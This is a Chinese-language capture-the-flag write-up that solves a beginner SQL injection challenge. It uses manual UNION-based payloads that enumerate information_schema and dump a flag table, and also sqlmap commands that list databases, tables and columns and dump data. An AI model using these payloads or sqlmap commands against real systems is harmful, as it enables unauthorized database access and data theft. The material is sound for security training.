最基本的SQL注入
题目描述
解题传送门:http://123.206.87.240:8002/chengjidan/
解题思路
查看源码可以知道,name为id,且为post传参
用火狐的hackbar,查几个试试,试了一下,只有三个数据
那么,id后面加个'
看看
报错了,哪加个'#
呢,又恢复正常了
SQL注入,稳了,两种解法
- 方法一、手工注入
在手工注入之前要先知道一些小知识点,拿小本本记下来
1、
MySql在5.0版本后新增一个叫information_schema
的虚拟数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。利用这个,我们可以获取表名,列名等
2、
查询中用到的group_concat()
函数是要把查询的内容联合到一起方便查看的,这样就不需要limit 0,1一个一个判断了
ok,科普完毕
先查个字段,由于有三个数据,就直接先用4吧order by 4#
返回正常,order by 5#
呢
没有回显,那么可以确定,字段就是4个了,接下来,暴库名id=-1' union select 1,2,3,4
//把id变为-1是因为如果id有回显的话,我们查询的东西就不能能显示了,所以要换一个id没有东西的数值
知道他们出现的位置了,接下来才是真的暴库,哈哈id=-1' union select 1,database(),user(),version()#
得到数据库名skctf_flag
然后暴表名(固定格式)id=-1' union select 1,group_concat(table_name),user(),version() from information_schema.tables where table_schema=database()#
得到两个表名fl4g,sc
接下来就是暴列名了id=-1' union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name='fl4g'#
取得列名为skctf_flag
ps:表明单引号要用英文''
,不加也可以,但表名要用十六进制
最后就是查询数据了id=-1' union select 1,skctf_flag,user(),version() from fl4g#
得到FLAGBUGKU{Sql_INJECT0N_4813drd8hz4}
-———————————————————————————————————
- 方法二、sqlmap跑
对话框输入1,然后抓包,并点击Copy to file
保存,我保存到了E盘下
指定文件名及类型,保存为txt即可
然后掏出sqlmap开始暴库sqlmap.py -r E:\a.txt -p id --dbs
或者sqlmap.py -r "E:\a.txt" -p id --current-db
- r –>打开指定文件
- p –>指定注入参数
- -current-db(两个-) 或 –dbs–>暴库名
暴表名sqlmap.py -r E:\a.txt -p id -D skctf_flag --tables
- D –>指定数据库
- -tables(两个-) –>列出当前数据库的表
暴列名,很明显,flag在fl4g的表中sqlmap.py -r E:\a.txt -p id -D skctf_flag -T fl4g --column
- T –>指定表名
- -column(两个-)–>列出当前表的列
最后下载数据sqlmap.py -r E:\a.txt -p id -D skctf_flag -T fl4g -C skctf_flag --dump
- C –>指定列名
- -dump(两个-)–>下载数据